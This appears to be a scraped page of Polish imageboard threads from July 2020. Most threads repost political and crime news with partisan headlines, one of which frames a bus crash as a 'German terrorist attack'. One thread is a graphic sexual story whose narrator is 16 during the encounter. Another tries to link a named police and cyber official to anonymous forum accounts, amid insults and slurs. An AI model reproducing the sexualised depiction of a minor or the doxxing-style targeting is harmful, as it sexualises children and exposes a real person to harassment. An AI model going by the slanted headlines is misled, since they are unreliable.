Wstrząsające odkrycie na Rakowieckiej

Nieopodal „Pałacu Cudów”, gdzie komunistyczni bandyci torturowali i mordowali polskich bohaterów w latach 40. i 50. XX wieku, natrafiono na szczątki. Sposób ułożenia kości, polski guzik wojskowy, ślady po kuli w głowie i kawałki materiału znalezione przy dobrze zachowanym szkielecie wskazują, że prawdopodobnie jest to ofiara systemu komunistycznego.

Kierowane przez profesora Krzysztofa Szwagrzyka Biuro Poszukiwań i Identyfikacji Instytutu Pamięci Narodowej od zeszłej środy prowadzi prace na terenie dawnego warszawskiego Aresztu Śledczego przy ulicy Rakowieckiej, gdzie mogą znajdować się szczątki ofiar zbrodni niemieckich i komunistycznych. Wykop ciągnie się pod terenem dawnego spacerniaka aresztu.

Wczoraj odkopano jamę grobową, w której znaleziono dobrze zachowane ludzkie szczątki. Dzisiaj kilka kroków od wczorajszego odkrycia nieopodal owianego złą sławą „Pałacu Cudów”, gdzie komunistyczni bandyci torturowali i mordowali polskich bohaterów w latach 40. i 50. XX wieku w wyjątkowo głębokim wkopie natrafiono na kolejny szkielet.

Sposób ułożenia kości, polski guzik wojskowy, ślady po kuli w głowie i szczątki materiału znalezione przy dobrze zachowanym szkielecie wskazują, że prawdopodobnie jest to ofiara systemu komunistycznego.

- Na żadnym etapie realizowanych od kilku lat badań przy ulicy Rakowieckiej nie było takiej sytuacji jak dziś, że znajdujemy szczątki człowieka ze szczątkami munduru, guzikiem wojskowym i wlotem kuli w głowie. To wyjątkowe odkrycie, szczególnie biorąc pod uwagę, że człowiek ten został znaleziony w pobliżu miejsca kaźni polskich bohaterów tzw. „Pałacu Cudów” Ministerstwa Bezpieczeństwa Publicznego

– mówi nam profesor Szwagrzyk.

Obecne prace IPN na warszawskim Mokotowie to kolejny etap działań zmierzających do tego, by odnaleźć tam wszystkie szczątki ofiar zbrodni zarówno niemieckich (m.in. z okresu Powstania Warszawskiego), jak i komunistycznych.

R: 3 / I: 0 / P: 22

R.V.Miller utracił dostęp do konta?

R.V.Miller utracił dostęp do konta? Wpadł na jakimś nowoczesnym phishingu ta policyjna kurwa idiotka jebana? Czy po prostu się zapomniał i wrzucił screena nie pamiętając na jakim jest multikoncie?

R: 0 / I: 0 / P: 22

Czyszczenie "wyjątkowej kasty"

- Wydział Spraw Wewnętrznych Prokuratury Krajowej skierował w środę do sądu wniosek o zastosowanie tymczasowego aresztowania na okres trzech miesięcy wobec Marka Z.; sędziego Sądu Okręgowego w Przemyślu (woj. podkarpackie) – poinformował dział prasowy Prokuratury Krajowej.

Zaznaczono, że "Marek Z. podejrzany jest o żądanie korzyści majątkowej w zamian za wykonanie czynności służbowej oraz przyjęcie korzyści majątkowej w związku z pełnieniem funkcji publicznej sędziego". Grozi mu kara 10 lat pozbawienia wolności.

Sędzia Marek Z. został zatrzymany we wtorek, po tym jak Izba Dyscyplinarna Sądu Najwyższego utrzymała w mocy postanowienie Sądu Dyscyplinarnego przy Sądzie Apelacyjnym w Warszawie o wyrażeniu zgody na pociągnięcie go do odpowiedzialności karnej i jego aresztowanie.

"Wniosek o wyrażenie zgody na pociągnięcie sędziego do odpowiedzialności karnej i aresztowanie prokuratura skierowała pod koniec października 2019 roku"

– przypomniano w komunikacie PK.

W toku postępowania ustalono, że w od stycznia do lutego 2018 r. w Jarosławiu (woj. podkarpackie) Marek Z. w związku z pełnieniem funkcji publicznej sędziego Sądu Okręgowego w Przemyślu zażądał, a następnie przyjął korzyść majątkową w kwocie 100 tys. zł w zamian za wydanie korzystnego dla Macieja M. wyroku umarzającego przepadek kwoty blisko 2 mln zł.

Według PK, do kontaktu Macieja M. z sędzią Markiem Z. doszło za pośrednictwem Bogusława P. Ten ostatni obiecał, że jest w stanie załatwić sądowe anulowanie kary pieniężnej.

Następnie Bogusław P. ustalił z sędzią, że załatwienie tej sprawy będzie kosztować 100 tys. zł, przy czym mieli podzielić się nielegalnie uzyskaną kwotą po połowie. Po zapoznaniu się ze sprawą Marek Z., który miał orzekać w jednoosobowym składzie stwierdził, że jest ona już przedawniona, zatem jej umorzenie było przesądzone. Nie poinformował jednak o tym fakcie Macieja M.

W lutym 2018 roku przed rozprawą Maciej M. wręczył Bogusławowi P. kwotę 110 tys. zł, informując, że 100 tys. zł to pieniądze przeznaczone dla sędziego, zaś 10 tys. zł stanowi wynagrodzenie za pośredniczenie w załatwieniu sprawy.

W maju 2019 roku z Bogusławem P. skontaktowała się Beata M., która poinformowała go, że sędzia Marek Z. chce się z nim spotkać w jej mieszkaniu. W trakcie spotkania sędzia oznajmił Bogusławowi P., że uzyskał informację, iż w Prokuraturze Regionalnej w Lublinie toczy się postępowanie w sprawie przyjęcia przez sędziego korzyści majątkowej od Macieja M.

Wówczas Bogusław P. potwierdził, że takie postępowanie rzeczywiście się toczy i że został mu w nim postawiony zarzut płatnej protekcji. Bogusław P. przyznał się do zarzucanego mu czynu i złożył wyjaśnienia, w których opisał całe zdarzenie związane z przekazaniem korzyści majątkowej.

Podczas kolejnych spotkań w czerwcu i lipcu 2019 roku aranżowanych przez Beatę M. sędzia podjął próby namówienia Bogusława P. do zmiany zeznań. Bogusław P. miał zgodzić się odrzuconą wcześniej w marcu 2019 roku propozycję polegającą na przyjęciu wersji, że pieniądze, które Maciej M. przekazał w zamian za korzystny wyrok były pożyczką. W tym celu Beata M. sporządziła oświadczenie dla Bogusława P. zawierające nieprawdziwą wersję wydarzeń. Ostatecznie jednak Bogusław P. nie zdecydował się na zmianę zeznań i odrzucił propozycję sędziego.

23 października 2019 roku na polecenie prokuratora funkcjonariusze rzeszowskiej delegatury Centralnego Biura Antykorupcyjnego zatrzymali Macieja M. i Beatę M. Podejrzani usłyszeli zarzuty korupcyjne i tworzenia spreparowanych dowodów. Na wniosek prokuratora zostali tymczasowo aresztowani.

R: 13 / I: 0 / P: 22

Mój pierwszy raz.

Miałem wtedy 16 lat. Przedtem jednak, rok wcześniej, trochę dłużej niż zwykle bawiłem się swoim "małym" W pewnym momencie ogarnęło mnie, nieznane mi przedtem uczucie rozkoszy i podniecenia. Palce moje ścisnęły mocniej mojego członka a ruchy stały się szybsze. Kilka minut intensywnej zabawy i wywołałem swój pierwszy wytrysk. Z niedowierzaniem patrzyłem jak mój "mały" wypluwa z siebie białą zawartość. Leżałem na plecach bez ruchu. Sperma zaczęła powoli wysychać i delikatnie ściągać mi moja skore. Minęło może z pół godziny i ponowne zacząłem bawić się moim członkiem. Kilka minut i ponowny wytrysk pokrył mój brzuch. Zaczęły się moje wieczorne marzenia.

Onanizowałem się dwa - trzy razy w tygodniu. Zawsze w moich marzeniach występowały dziewczyny ze szkoły lub sąsiedztwa. Na moje 16 urodziny zorganizowałem małą prywatkę. Wtedy pierwszy raz całowałem się z dziewczyna i tez po raz pierwszy moja dłoń zawędrowała w okolice jej krocza. Było cudownie. W czasie tego całowania, wzajemnego tulenia się i bawienia się jej włosami łonowymi, nastąpiło cos, co wywołało we mnie fale wstydu i zażenowania. Nastąpił u mnie wytrysk. Czułem jak klejąca się ciecz powoli rozchodzi się wokół mojego członka i spływa po moich nogach. Do prawdziwego stosunku jeszcze jednak nie doszło.

W połowie maja przyjechała do nas jakaś znajoma mojej mamy z córką. Aga była starsza ode mnie o dwa lata. Miała zdawać na studia. Wkrótce się dowiedziałem, że Aga zamieszka u nas na czas egzaminów. Gdzieś po około dwóch tygodniach Aga przyjechała do nas ponownie i zamieszkała w pokoju sąsiadującym z moim pokojem przez korytarz. Była niedziela. Mama pojechała na dyżur z samego rana. Kilka minut po odjeździe mamy usłyszałem delikatne pukanie do moich drzwi. Do pokoju weszła Aga. Była w krótkiej nocnej koszuli. Usiadła na brzegu mojego łóżka.

Zaczęliśmy luźną rozmowę. Po kilku minutach jej palce zaczęły pieścić moje piersi. Powoli jej dłoń przesuwała się po moim brzuchu w dol. Delikatnie zdjęła ze mnie przykrywające mnie prześcieradło. Z pod moich skąpych slipek wysunęła się naprężona główka mojego członka. Aga zręcznie ominęła moja męską dumę i zjechała palcami do moich stop. Byłem w siódmym niebie. Jej dłonie wróciły w okolice moich slipek. Delikatnie zsunęła mi slipki. Leżałem nagi. Jej palce zaczęły wyprawiać cuda z moim członkiem. Pierwszy raz w życiu przeżywałem podobna podniecającą chwile. Podniosła się i okrakiem usiadła na moich nogach. Przez moment zobaczyłem jej zarośnięte łono. Na swoich udach poczułem jej gole pośladki. Przycisnęła mojego członka swoim łonem. Aga zdjęła koszule i oboje byliśmy nadzy. Moje marzenia przemieniły się w jawę. Kilka ruchów jej łonem i z mojego członka wystrzeliła salwa rozkoszy. Sperma pokryła moje piersi i twarz. Podniosłem swoje ręce i po raz pierwszy w swoim życiu przytuliłem naga kobietę. To co później nastąpiło, będę pamiętał do końca swojego życia. Po moim pierwszym wytrysku, kilka minut później, Aga ponownie zaczęła podniecać mojego członka, tym razem swoimi ustami. Myślałem że oszaleje. Jej język był bezlitosny. Kolejna salwa i moja sperma wypełniła jej usta. Przekręciłem się w stronę jej krocza. Takiej słodkości nie miałem jeszcze w ustach. Przyszedł czas aby stać się mężczyzną. Położyłem się na Adze. Jakże te moje ruchy były nerwowe i z perspektywy lat śmieszne. Powoli i niezdarnie wsadziłem swojego członka do jej doliny miłości. Aga objęła mnie nogami. Jej palce wpiły się w moje plecy. Delikatne uściski jej pochwy zrobiły swoje. To był mój pierwszy raz. Kilka godzin wspanialej zabawy minęło jak kilka minut. Kilka tygodni później Aga wyjechała i strąciłem z nią wszelki kontakt.

R: 308 / I: 17 / P: 22

od miesięcy zastanawiałem się czy pan śmieć jest z KGP czy z NCBC

a co jeśli jest z obu?

jest figurant który pasuje do tego

Łukasz Jędrzejczak, pracował w KWP w Łodzi, potem w KGP, a teraz w NCBC

https://www.cyberdefence24.pl/polska-policja-lapie-przestepcow-za-torem-wywiad

>Tak, ale nie mogę powiedzieć, które fora monitorujemy. Wielokrotnie w sądzie pytano mnie, jak uzyskałem dane informacje. Wówczas prosiłem o utajnienie spotkania i w tej sytuacji mogłem wyjaśnić, jak złapałem przestępcę oraz jakich narzędzi użyłem.

>Często się domyślają, nie zawsze jednak wiedzą. Wiadomo, że jest to czynnik ludzki. Na niektórych forach są jednak bardzo pewni siebie i dość często pojawiają się tam wpisy, że to forum jest najlepsze, bo żaden policjant tego nie czyta.

niewielu psów w polsce weszło na tyle for co pan śmieć/hiretoshinkamura/ciemnastronamiasta/fizzledick/italnfashion

>W Stanach Zjednoczonych funkcjonuje NCFTA (The National Cyber-Forensics & Training Alliance). Jest to stowarzyszenie powołane przez FBI i NSA i kilka innych najpoważniejszych organizacji, gdzie są prowadzone staże w zakresie zwalczania cyberprzestępczości. Miałem przyjemność ukończyć taki staż podobnie jak kilku moich współpracowników.

to samo co mówi pan śmieć, według niego NSA przekazuje dane polaczkom

>Dodatkowo, podobnie jak nasi przeciwnicy, mamy własne, specjalistyczne fora np. dla ekspertów od informatyki śledczej. Nasi przeciwnicy na nasze fora nie wejdą dlatego, że one nie są w Internecie.

hiretoshinkamura i vegeta założyli swoje forum na którym zastanawiają się jak atakować lolifox

>Tak. udało nam się zatrzymać wielu sprawców działających za TORem.

>Polska policja zatrzymuje użytkowników za TORem.

teksty jak pana śmiecia

https://www.swps.pl/artykuly-archiwalne/173-archiwum-konferencji-poznan/2487-przestepstwa-seksualne-interdyscyplinarna-konferencja-naukowa

>Temat wystąpienia: „Pornografia dziecięca jako dowód przestępstwa"

>kom. Łukasz Jędrzejczak – w 2001 r. obronił na Wydziale Prawa i Administracji Uniwersytetu Łódzkiego pracę magisterską pod tytułem „Przestępstwa i wykroczenia popełnianie przy pomocy Internetu”. Od 2003 r. pracuje w Policji zajmując się zwalczaniem przestępczości Internetowej. Wielokrotny prelegent na konferencjach międzynarodowych z zakresu bezpieczeństwa Internetowego i przestępczości teleinformatycznej. Obecnie kieruje Zespołem Zwalczania Cyberprzestępczości w KWP w Łodzi.

tego też interesują przestępstwa seksualne

https://www.securitycasestudy.pl/en/agenda-2019/

>Konkurs o Nagrodę im. Mariana Rejewskiego – Łukasz Jędrzejczak / Ministerstwo Obrony Narodowej

pan śmieć uwielbia szyfry i wrzuca zagadki na cebulkę i lolifox

https://archive.is/ubWqd

>Pierwszą inaugurację roku szkolnego w Wojskowym Ogólnokształcącym Liceum Informatycznym swoją obecnością zaszczycili: sekretarze stanu MON ministrowie Wojciech Skurkiewicz i Tomasz Zdzikot, dyrektor Narodowego Centrum Bezpieczeństwa Cyberprzestrzeni gen. bryg. Karol Molenda, dyrektor Departamentu Edukacji, Kultury i Dziedzictwa dr hab. Paweł Hut, zastępca dyrektora DEKiD Michał Wiater oraz zastępca dyrektora Departamentu Nauki i Szkolnictwa Wojskowego Łukasz Jędrzejczak.

pan śmieć gadał o pracy domowej chłopaka z NCK

R: 0 / I: 0 / P: 22

"WAŁA DLA PRZYPAŁA!". Janusz "Siara" Rewiński w 13 sekund miażdży Rafała

W sieci pojawił się filmik z Januszem Rewińskim w roli głównej. Na nim: bardzo jasna deklaracja. Choć nazwisko Trzaskowskiego nie pada ani razu, każdy wie, o kogo chodzi… Zobacz filmik!

Na filmiku, jaki krąży w sieci, widzimy Janusza Rewińskiego, który postanowił wyrazić pewne przekonanie…

Ale przecież Polska cała nie zagłosuje na przypała!

- mówi i dodaje:

Wała dla przypała!

ZOBACZ NAGRANIE:

Pała dla przypała 😎 @trzaskowski_ to chyba do Ciebie 🤣 pic.twitter.com/hE962kuL4G

— Ojciec (@Mateusz_lski) July 8, 2020

Internauci komentują:

Nie pała tylko wała😂 Reszta się zgadza 👍

— Drwal Antek;) 🇵🇱 💯 (@AntekD) July 8, 2020

Pan Rewiński w dobrej formie 😃

— Paweł Spychowski💯🇵🇱 (@spychowski) July 8, 2020

Pan Rewiński w dobrej formie 😃

— Paweł Spychowski💯🇵🇱 (@spychowski) July 8, 2020

Memory fajf… Siara, I wszystko jasne 😁😂🇵🇱✌

— Artur 🐥 (@ArturQshyvy) July 8, 2020

R: 2 / I: 0 / P: 22

Fake-newsów tyle co zwykle

Nie stwierdzono większej niż zwykle aktywności ani na polu dezinformacji, ani cyberprzestępczości w związku z wyborami prezydenckimi, ale instytucje odpowiedzialne za tę sferę pozostają w gotowości przed II turą - poinformował PAP resort cyfryzacji.

Według informacji przesłanej przez Ministerstwo Cyfryzacji, nie stwierdzono większej niż zwykle aktywności ani na polu dezinformacji, ani cyberprzestępczości. Nie odnotowano także poważniejszych sygnałów związanych z ewentualnymi atakami hakerskimi oraz zjawiskami związanymi z dezinformacją.

MC podkreśliło, że w okresach takich jak wybory, wszystkie trzy CSIRT-y poziomu krajowego (CSIRT NASK, CSIRT GOV i CSIRT MON) pozostają w stałej gotowości i w ścisłej współpracy, na bieżąco wymieniając się informacjami o zgłoszonych i obserwowanych zagrożeniach czy incydentach.

"W takim samym trybie będą działać w okresie II tury wyborów"

zaznaczył resort, powołując się na CERT Polska.

PAP zapytał także resort cyfryzacji o działanie serwisu Bezpiecznewybory.pl, który uruchomiono we współpracy z grupami ekspertów z Ministerstwa Obrony Narodowej, Agencji Bezpieczeństwa Wewnętrznego oraz Naukowej i Akademickiej Sieci Komputerowej(NASK) jako narzędzie walki z manipulacją i prowokacjami.

Według MC w okresie bezpośrednio przedwyborczym i tuż po I turze wyborów zainteresowanie serwisem BezpieczneWybory.pl mierzone efektywnymi kontaktami z zainteresowanymi wyborcami "istotnie wzrosło", a NASK na adres [email protected] otrzymał wiele maili z pytaniami obywateli, dotyczącymi sposobów głosowania, bezpieczeństwa procesu wyborczego oraz pakietów wyborczych.

Pytania, które wpłynęły na [email protected] nie dotyczyły kwestii cyberbezpieczeństwa. Poinformowało również, że zespół NASK przygotował również szereg publikacji dotyczących bezpieczeństwa procesu wyborczego oraz zwracał uwagę na dezinformację i możliwe nadużycia.

Zespół CERT Polska działa w strukturach NASK (Naukowej i Akademickiej Sieci Komputerowej). Do jego głównych zadań należy rejestrowanie i obsługa zdarzeń naruszających bezpieczeństwo sieci i aktywne reagowanie w przypadku wystąpienia bezpośrednich zagrożeń dla użytkowników infrastruktury cywilnej.

Stanowi on jeden z trzech zespołów tzw. CSIRT (Computer Security Incident Response Team), działających w ramach krajowego systemu cyberbezpieczeństwa. Pozostałe to zespół działający przy MON, który odpowiada za ataki na obszar wojskowy, oraz zespół działający przy ABW, który odpowiada za ataki na administrację rządową.

R: 58 / I: 1 / P: 22

Kolejny atak terrorystyczny niemieckich służb w Polsce

Na ulicy Klaudyny na warszawskich Bielanach autobus miejski zderzył się z czterema samochodami osobowymi - poinformowała sierżant sztabowa Anna Wójcik z Komendy Stołecznej Policji. Jak relacjonują media kierowca zasnął za kierownicą. Był on zatrudniony w firmie Arriva - w tej samej, co Tomasz U., który będąc pod wpływem narkotyków doprowadził do tragicznego wypadku na warszawskiej S8.

Jak przekazała sierżant sztabowa Anna Wójcik do zdarzenia doszło we wtorek o godzinie 10.35 na ul. Klaudyny w Warszawie.

"Otrzymaliśmy zgłoszenie o zdarzeniu drogowym, w którym udział wziął autobus linii 181 i cztery pojazdy osobowe: dwa ople i dwie hondy"

- powiedziała policjantka.

Poinformowała, że pasażerka autobusu została odwieziona do szpitala.

"Kierowca autobusu był trzeźwy" - podała.

Dodała, że na miejscu trwają czynności mające na celu wyjaśnienie okoliczności tego zdarzenia.

Wiceminister sprawiedliwości Sebastian Kaleta zwrócił uwagę, że kilka dni temu, po tragicznym wypadku na trasie S8 w Warszawie apelowali do prezydenta Rafała Trzaskowskiego o pilną kontrolę spółki Arriva w zakresie pracy kierowców.

Kierowca niemieckiej firmy Arriva jak twierdzi zasnął z przemęczenia i spowodował kolizję kierując autobusem. Kilka dni temu, po tragicznym wypadku na moście Grota apelowaliśmy do @trzaskowski_ o pilną kontrolę spółki Arriva w zakresie pracy kierowców…

https://t.co/0U7WOhhZLw

— Sebastian Kaleta (@sjkaleta) July 7, 2020

Jak informuje warszawa.wyborcza.pl kierowca miał nagle zjechać z drogi, uszkodzić latarnię i staranować cztery zaparkowane auta. Z nieoficjalnych informacji „Wyborczej” wynika, że mężczyzna zasnął za kierownicą, ponieważ był zmęczony.

„Najprawdopodobniej w nocy pracował w innym miejscu, a dziś rano zaczął dyżur”

– czytamy.

Rzeczniczka firmy Arriva Joanna Pażniewska potwierdziła, że doszło do zdarzenia. Dodała, że wyjaśniają okoliczności wypadku.

27 czerwca w Warszawie doszło do wypadku autobusu miejskiego. Pojazd przebił barierki i spadł z wiaduktu na trasie S8. Bilans wypadku to jedna ofiara śmiertelna oraz 17 poszkodowanych, w tym cztery osoby ciężko ranne. Kierowca autobusu zatrudniony przez niemiecką firmę był pod wpływem amfetaminy. Co więcej był on wcześniej wielokrotnie karany za łamanie przepisów drogowych.

R: 0 / I: 0 / P: 22

Nowe inwestycje PKN ORLEN

Stawiamy dziś na inwestycje, bo inwestycje to koło zamachowe dla całej polskiej gospodarki – stwierdził wicepremier, minister aktywów państwowych Jacek Sasin, podczas inauguracji nowego projektu rafineryjnego w PKN Orlen w Płocku.

Nawet okres obecnej pandemii koronawirusa nie stanął na przeszkodzie w rozpoczęciu przez firmę z Płocka budowy instalacji Visbreakingu. Oznacza to, że jak podkreślił wicepremier, „polska gospodarka najtrudniejszy czas ma już za sobą. Teraz na nowo zaczyna się odbudowywać, dlatego potrzebne jej są ambitne, prowadzone na dużą skalę inwestycje”.

Oddanie do użytku instalacji o wartości około 1 mld zł znacząco zwiększy uzysk przez PKN Orlen produktów lekkich, czyli benzyny i oleju napędowego. Po jej zakończeniu, pod koniec 2022 r., zysk operacyjny (EBITDA) koncernu wzrośnie nawet o 415 mln zł rocznie.

– Inwestujemy w Visbreaking, ponieważ naszym celem jest skutecznie odpowiadać na stale rosnące zapotrzebowanie na produkty wysokomarżowe. Instalacja ta umożliwi nam optymalizację produkcji rafineryjnej i szybki wzrost zysków. Uzyskamy dzięki niej 2 proc. więcej paliwa z przerobu ropy

– dodał prezes PKN Orlen, Daniel Obajtek.

Prace inwestycyjne związane z instalacją Visbreakingu zakończą się za 30 miesięcy. Oznacza to, że jeszcze w grudniu 2022 r. powinna ruszyć produkcja z tej instalacji. Równolegle będzie realizowana infrastruktura podłączenia Visbreakingu do reszty rafinerii.

W płockiej rafinerii rozpoczynamy realizację nowoczesnej instalacji Visbreakingu, która umożliwi pogłębienie przerobu ropy i uzyskanie większej ilości wysokomarżowych produktów z każdej baryłki. Już od 2023 roku może ona przynosić dodatkowe 415 mln zł zysku operacyjnego rocznie pic.twitter.com/3Xv4x6pa0d

— Daniel Obajtek (@DanielObajtek) July 6, 2020

Jak poinformował koncern, instalacja zostanie zbudowana w oparciu o licencję Visbreakingu firmy Shell/CB&I NEDERLAND B.V. Inwestycję wykonuje konsorcjum firm: KTI Poland SA i IDS-BUD SA. Dokonają one kompleksowego wykonania prac w formule „pod klucz”, tj. zaprojektowanie, dostawy, wykonanie robót budowlano-montażowych wraz z uruchomieniem oraz przeprowadzeniem rozruchu technologicznego instalacji.

W ramach integracji aktywów rafineryjnych i petrochemicznych oraz wydłużania łańcucha wartości PKN ORLEN przyspiesza także realizację pozostałych inwestycji w Płocku. Do końca tego roku otwarte zostanie Centrum Badawczo-Rozwojowe. To jeden z najważniejszych projektów inwestycyjnych dla przyszłości koncernu, który pozwoli zacieśnić współpracę biznesu ze światem nauki i umożliwi mu rozwój oraz wdrażanie własnych technologii. Główną częścią CBR będzie zaplecze badawczo-rozwojowe, z m.in. Halą Odwzorowań i Pilotaży o powierzchni blisko 2 tys. mkw.

Chcąc utrzymać pozytywne efekty walki z szarą strefą, PKN ORLEN kontynuuje współpracę z Krajową Administracją Skarbową. Przekazał jej 32 nowe samochody Opel Vivaro o łącznej wartości 4,5 mln zł. Dodatkowo, płocki koncern wyposaży KAS w nowoczesne systemy łączności do 200 pojazdów za ponad 11 mln zł.

– Jeszcze lepszy pobór należności podatkowych i celnych oraz walka z szarą strefą w obrocie paliwami bezpośrednio przełożą się na realny wzrost wpływów do budżetu państwa i przychodów rzetelnie wypełniających swoje obowiązki podatkowe przedsiębiorstw

– podkreślił wicepremier Jacek Sasin.

R: 0 / I: 0 / P: 22

Trzaskowski pojechał na bzykanko a Polska była niszczona cybernetycznie

„Michał Boni i Rafał Trzaskowski, którzy w czasach rządów PO-PSL byli ministrami cyfryzacji, nie zadbali o cyberbezpieczeństwo narodowe, obsadzając stanowiska niekompetentnymi osobami i narażając państwo na groźne ataki obcych służb” - ustaliła niedawno "Gazeta Polska Codziennie", powołując się na raport NIK. W tym samym czasie, jak informowaliśmy wczoraj na łamach Niezalezna.pl, Trzaskowski jako minister cyfryzacji wybrał się na konferencję do Brazylii. Ta dotyczyła wolności słowa w internecie, a jego wystąpienie trwało… 30 minut.

Najwyższa Izba Kontroli skontrolowała Ministerstwo Cyfryzacji z okresu gdy resortem kierował kandydat Koalicji Obywatelskiej na prezydenta Rafał Trzaskowski.

„Pracę ministrów administracji i cyfryzacji z Platformy Obywatelskiej bardzo krytycznie oceniła kilka lat temu Najwyższa Izba Kontroli, która badała działalność resortu w okresie od 18 listopada 2011 roku do 5 grudnia 2014 roku. W ocenie kontrolerów ministerstwo nie zidentyfikowało w sposób rzetelny i kompleksowy zadań, które powinny być realizowane przez resort. „W rezultacie Minister Administracji i Cyfryzacji praktycznie nie realizował zadań związanych z inicjowaniem i koordynacją działań w zakresie bezpieczeństwa teleinformatycznego państwa oraz w ogóle nie realizował zadań związanych z koordynacją krajowego systemu reagowania na incydenty komputerowe w cyberprzestrzeni RP”

- informowała "Gazeta Polska Codziennie", cytując wystąpienie pokontrolne Wojciecha Kutyły, ówczesnego wiceprezesa NIK.

"GPC" informowała, że przez niemal trzy lata, zadania związane z ochroną cyberprzestrzeni były powierzone nieformalnie pracownikom Gabinetu Politycznego. Ustalono też, że osoby odpowiedzialne za cyberbezpieczeństwo narodowe pracowały tylko od godz. 8:00 do godz. 16:00.

Tymczasem w okresie obejmującym raport NIK Rafał Trzaskowski jako minister cyfryzacji pojechał do Brazylii, gdzie wziął udział w konferencji dotyczącej wolności słowa w internecie.

Jak informowaliśmy wczoraj na łamach Niezalezna.pl, jego pobyt w luksusowym hotelu w Rio de Janeiro kosztował blisko 6,4 tys. zł. Za nocleg pozostałych dwóch urzędników ministerstwo zapłaciło po 7,66 tys. zł (przylecieli jednak dzień wcześniej). Cały koszt pobytu to 21,7 tys. zł, czyli ponad 1 tys. zł za dobę. To nie wszystko. Z dokumentów, do których dotarła „Gazeta Polska Codziennie” wynika, że Trzaskowski za wyjazd do Brazylii otrzymał również dietę w wysokości 990 zł. Trzaskowskiemu towarzyszyło dwoje urzędników ministerstwa cyfryzacji, w tym jego doradczyni Joanna Popielawska, którą zna od wielu lat.

Wyjazd miał miejsce w kwietniu 2014 roku.

R: 18 / I: 0 / P: 22

"Seba z Seicento" usłyszy wyrok.

W czwartek 9 lipca oświęcimski Sąd Rejonowy ogłosi wyrok w sprawie zderzenia fiata seicento i kolumny Biura Ochrony Rządu, w której jechała ówczesna premier Beata Szydło. Zadecydowała tak dziś sędzia Agnieszka Pawłowska. Prokuratura zażądała dla oskarżonego kierowcy fiata roku ograniczenia wolności. Obrona wniosła o uniewinnienie.

- Wnoszę o uznanie oskarżonego za winnego zarzucanego mu czynu. (…) Wnoszę o wymierzenie oskarżonemu kary 1 roku ograniczenia wolności z obowiązkiem wykonywania nieodpłatnie dozorowanej pracy na cele społeczne w wymiarze 20 godzin miesięczne

– mówił dziś kończąc swoją mowę prokurator okręgowy z Krakowa Rafał Babiński. Obrona i oskarżony wnieśli jedynie o uniewinnienie.

Dziś zakończyły się przed sądem mowy końcowe w procesie, który toczy się od jesienni 2018 roku. Oskarżenie i obrona potrzebowały trzech rozpraw, by wyartykułować swoje stanowiska. Część, z uwagi na tajemnicę państwową, odbyła za zamkniętymi drzwiami.

Do wypadku doszło 10 lutego 2017 r. w Oświęcimiu. Policja podała, że rządowa kolumna trzech samochodów, w której jechała ówczesna premier Beata Szydło (jej pojazd był w środku kolumny) wyprzedzała fiata seicento. Jego kierowca Sebastian Kościelnik (wyraził zgodę na publikację danych) przepuścił pierwszy samochód, a następnie zaczął skręcać w lewo i uderzył w auto ówczesnej szefowej rządu, które wjechało w drzewo. Poszkodowana została premier oraz funkcjonariusze BOR. Śledczy zarzucili kierowcy fiata nieumyślne spowodowanie wypadku.

"Seba z Seicento", jak nazwały mężczyznę niektóre media, po zdarzeniu zaczął pokazywać się… z politykami Koalicji Obywatelskiej. "Gdybym mógł cofnąć czas, nic bym nie zmienił" - wypalił kierowca na konwencji byłej kandydatki na prezydenta RP Małgorzaty Kidawy-Błońskiej.

R: 0 / I: 0 / P: 22

Duda: Ludzie zasługują na godne życie

- Wszędzie muszą być inwestowane pieniądze, wszędzie muszą być realizowane inwestycje, bo wszędzie ludzie zasługują na godne życie - powiedział w Łukowie (woj. lubelskie) prezydent Andrzej Duda.

Podczas spotkania z mieszkańcami Łukowa prezydent mówił o rozwoju.

"Dosyć z takim rozwojem, jaki był do 2015 roku, że tylko wielkie miasta, tylko wielkie miasta. Dzisiaj cała Polska potrzebuje rozwoju - i wielkie miasta, i te mniejsze, i polska wieś"

- przekonywał.

"Wszędzie muszą być inwestowane pieniądze, wszędzie muszą być realizowane inwestycje, bo wszędzie ludzie zasługują na godne życie, wszędzie powinni być jednakowo traktowani, wszędzie powinni mieć równe prawa i równe możliwości rozwoju"

- mówił Andrzej Duda.

Jest moc! #Łuków 🇵🇱🇵🇱🇵🇱#DUDA2020 pic.twitter.com/jJr59METJn

— Sylwester Tułajew 🇵🇱 (@Tulajew) July 8, 2020

Łuków, zaczynamy!

✌️🇵🇱 #DUDA2020 #ŁączyNasPolska pic.twitter.com/JMPz5XmE30

— #DUDA2020 (@AndrzejDuda2020) July 8, 2020

W niedzielę obędzie się druga tura wyborów prezydenckich; zmierzą się w niej ubiegający się o reelekcję prezydent Andrzej Duda i kandydat Koalicji Obywatelskiej Rafał Trzaskowski.

"Idźmy do tych wyborów, wspierajmy polską rodzinę, wspierajmy rozwój naszego kraju. Proszę, żebyście namawiali do uczestnictwa w wyborach waszych przyjaciół, waszych sąsiadów, waszych znajomych, żebyście pomagali wszystkim tym, którym być może trudno dojechać do komisji wyborczej, żeby mogli oddać głos i zagłosować za Polską"

- apelował prezydent na spotkaniu z mieszkańcami Łukowa.

"Wierzę w to, że w najbliższą niedzielę wygra Polska ambitna, Polska rodziny, Polska człowieka, Polska rozwoju, Polska, która chce być tak zamożna, jak Europa Zachodnia, ale Polska, która ceni swoje tradycje, swoje wartości. Proszę państwa o wsparcie, idźcie do wyborów w niedzielę, pomóżcie. Pomóżcie, żeby Polska dalej się rozwijała. Stójmy razem pod biało-czerwoną flagą"

- mówił.

R: 37 / I: 0 / P: 22

Ukradł z cmentarza 180 róż. Dla koleżanek.

Funkcjonariusze policji z Poddębic (Łódzkie) zatrzymali 20-latka, który na cmentarzu komunalnym ograbił grób z kwiatów, a następnie wręczył je dwóm koleżankom. Za okradanie nagrobków mężczyźnie grozić może do 8 lat pozbawienia wolności.

"Policjanci z Komendy Powiatowej Policji w Poddębicach zatrzymali mężczyznę, który dzień wcześniej ograbił grób na cmentarzu komunalnym z blisko 180 ciętych róż. Kwiaty przekazał swoim koleżankom. Skradzione mienie zostało odzyskane"

- poinformowała Beata Orłowska z poddębickiej komendy.

Mężczyzna usłyszał już zarzut - za ograbienie grobu lub innego miejsca spoczynku zmarłego grozi kara do 8 lat pozbawienia wolności. Teraz o dalszym losie 20-latka zadecyduje sąd.

